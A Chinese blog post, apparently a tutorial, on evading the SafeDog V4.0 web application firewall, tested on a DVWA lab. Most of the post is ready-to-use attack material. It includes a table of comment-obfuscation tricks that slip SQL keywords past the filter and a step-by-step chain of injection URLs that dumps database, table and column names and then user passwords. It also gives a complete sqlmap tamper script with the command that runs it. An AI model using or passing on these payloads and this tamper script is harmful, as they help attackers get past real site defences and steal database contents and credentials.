资讯专栏INFORMATION COLUMN

网站安全狗V4.0绕过姿势

anRui / 3231人阅读

摘要:查看安全狗防御规则匹配库。绕过分析字符绕过方法手工绕过判断列数。查询数据库名。获取字段内容。

网站安全狗下载地址:

网站安全狗-网站安全防护,防后门|防SQL注入|防CC攻击|网马查杀|防篡改https://www.safedog.cn/website_safedog.html

DVWA下载:

链接:https://pan.baidu.com/s/1XZXC3r_LhtY9s7xJM_NAYQ 提取码:kun6 --来自百度网盘超级会员V3的分享

已DVWA SQL注入为例对网站安全狗进行绕过测试。

1.查看安全狗防御规则匹配库。

 

2.绕过分析

字符

绕过方法

and

/*!14400and*/

order by

/**/order/*/%0a*a*/by/**/

union select

union/*!88888cas*//*/%0a*a*/select/**/

database()

database(/*%%!AJEST%%%%*/)

from information_schema.tables

/*!from--%0f/*%0ainformation_schema.tables*/

from information_schema.tables

/*!from--%0f/*%0ainformation_schema.columns*/

count(*)

count(1)

3.手工绕过

1.判断列数。?id=5"/**/order/*/%0a*a*/by/**/1/**/--+?id=5"/**/order/*/%0a*a*/by/**/2/**/--+?id=5"/**/order/*/%0a*a*/by/**/3/**/--+2.判断显示位。?id=5"/*//*/union/*!88888cas*//*/%0a*a*/select/*//*//*//*/1,2/*//*/--+?id=5"/**//*!14400and*//**/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/*//*//*//*/1,2/*//*/--+3.查询数据库名。?id=5"/*!14400and*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/database(/*%%!AJEST%%%%*/),2/**/--+4.查询所有的表名。?id=5"/*//*//*!14400and*//*//*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/table_name,2/*//*//*!from--%0f/*%0ainformation_schema.tables*//*//*/where table_schema=database(/*%%!AJEST%%%%*/)/**/--+?id=5"/*//*//*!14400and*//*//*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/table_name,2/*//*//*!from--%0f/*%0ainformation_schema.tables*//*//*/where table_schema=database(/*%%!AJEST%%%%*/)/**/limit/*//*/0,1--+?id=5"/*//*//*!14400and*//*//*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/group_concat(table_name),2/*//*//*!from--%0f/*%0ainformation_schema.tables*//*//*/where table_schema=database(/*%%!AJEST%%%%*/)/**/--+5.获取字段名字。?id=5"/*//*//*!14400and*//*//*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/column_name,2/*//*//*!from--%0f/*%0ainformation_schema.columns*//*//*/where table_name="users"/*//*//*!14400and*//*//*/table_schema=database(/*%%!AJEST%%%%*/)--+?id=5"/*//*//*!14400and*//*//*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/column_name,2/*//*//*!from--%0f/*%0ainformation_schema.columns*//*//*/where table_name="users"/*//*//*!14400and*//*//*/table_schema=database(/*%%!AJEST%%%%*/)/*//*//*!limit*//*//*/0,1/*//*/--+?id=5"/*//*//*!14400and*//*//*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/column_name,2/*//*//*!from--%0f/*%0ainformation_schema.columns*//*//*/where table_name="users"/*//*//*!14400and*//*//*/table_schema=database(/*%%!AJEST%%%%*/)--+6.获取字段内容。?id=5"/*//*//*!14400and*//*//*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/user,password/*//*//*!from*//*//*/users --+?id=5"/*//*//*!14400and*//*//*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/user,password/*//*//*!from*//*//*/users/*//*//*!limit*//*//*/0,1/*//*/ --+

 4.sqlmap编写tumper绕过

#!/usr/bin/env python"""Copyright (c) 2006-2019 sqlmap developers ([url]http://sqlmap.org/[/url])See the file "LICENSE" for copying permissionAuthor:LUSHUN"""import reimport osfrom lib.core.data import kbfrom lib.core.enums import PRIORITYfrom lib.core.common import singleTimeWarnMessagefrom lib.core.enums import DBMS__priority__ = PRIORITY.LOWdef dependencies():    singleTimeWarnMessage("Bypass safedog4.0"%s" only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))def tamper(payload, **kwargs):        payload=payload.replace("AND","/*!11440AND*/")        payload=payload.replace("ORDER","order/*!77777cz*/")        payload=payload.replace("SELECT","/*!11440SELECT*/")        payload=payload.replace("SLEEP(","sleep/*!77777cz*/(")        payload=payload.replace("UPDATEXML(","UPDATEXML/*!77777cz*/(")        payload=payload.replace("SESSION_USER()","/*!11440SESSION_USER()*/")        payload=payload.replace("USER())","USER/*!77777cz*/())")        payload=payload.replace("DATABASE()","DATABASE/*!77777cz*/()")        payload=payload.replace("ORDER BY","/**/order/*/%0a*a*/by/**/")        payload=payload.replace("UNION","union/*!88888cas*/")        payload=payload.replace("UNION","union/*!88888cas*/")        payload=payload.replace("from information_schema.tables","/*!from--%0f/*%0ainformation_schema.tables*/")        payload=payload.replace("from information_schema.columns","/*!from--%0f/*%0ainformation_schema.columns*/")        payload=payload.replace("count(*)","count(1)")        payload=payload.replace("as","/*!14400as*/")        payload=payload.replace("char","/*!14400char*/")                return payload
sqlmap -u "http://192.168.174.133/DVWA-master/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie "security=low; security=low; PHPSESSID=hp0jf1elvpjdg8jdk08j4rik56" -p id --tamper "safedogbypass" --random-agent -v3 --dbs  --fresh-queries

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/121458.html

相关文章

  • WAF绕过—SQL注入

    摘要:可以针对这个文件尝试进行注入方式四爬虫白名单如果对网站访问速度过快,则会被拦截但是某些网站是采用爬虫进行运转的,例如百度。 目录 WAF绕过—SQL注入联合注入绕...

    roland_reed 评论0 收藏0
  • 《Python安全攻防:渗透测试实战指南》学习一

    摘要:白盒测试是指在拥有客户组织所有的资产信息的情况下进行渗透测试。信息分析对搜集到的信息进行分析,为下一步实施渗透测试做准备。形成报告按照与客户确定好的范围需求整理渗透测试结果并将资料形成报告。 第1章 渗透测试概述  1.信息安全发展史  2.信息安全行业的现状         2.1渗透测试...

    Baoyuan 评论0 收藏0
  • 安全开发笔记

    摘要:登录注册安全风险登录注册的风险点主要有四个暴力破解撞库遍历注册用户批量注册。引入了验证码机制同样引入了额外的安全风险,比如短信验证码的短信炸弹风险图形验证码的可绕过可识别等。 概述 很多技术研发不了解安全,也不重视安全,只有在自己的服务器被黑掉、被挂马、被脱裤才想起关注安全,但是这个时候,技术架构已经成型、代码已经在线上稳定运行,再亡羊补牢,改代码、改策略,往往成本巨大、确收效很低。所...

    Cruise_Chan 评论0 收藏0
  • PHP 如何安全的使用 MySQL ?

    摘要:但是,你所用的写法真的安全吗面对越来越猖獗的黑客攻击,注入防范非常重要,所以使用也要有更正确的姿势。关于注入就是通过把命令插入到表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的命令。 大多数 PHP 程序员对 MySQL 肯定不陌生,至于各种 MySQL 函数的用法在开发手册和 w3school 这类网站上也有很多介绍。但是,你所用的写法真的安全吗?面对越来越猖獗...

    Dionysus_go 评论0 收藏0
  • PHP 如何安全的使用 MySQL ?

    摘要:但是,你所用的写法真的安全吗面对越来越猖獗的黑客攻击,注入防范非常重要,所以使用也要有更正确的姿势。关于注入就是通过把命令插入到表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的命令。 大多数 PHP 程序员对 MySQL 肯定不陌生,至于各种 MySQL 函数的用法在开发手册和 w3school 这类网站上也有很多介绍。但是,你所用的写法真的安全吗?面对越来越猖獗...

    leoperfect 评论0 收藏0

发表评论

0条评论

anRui

|高级讲师

TA的文章

阅读更多
最新活动
阅读需要支付1元查看
<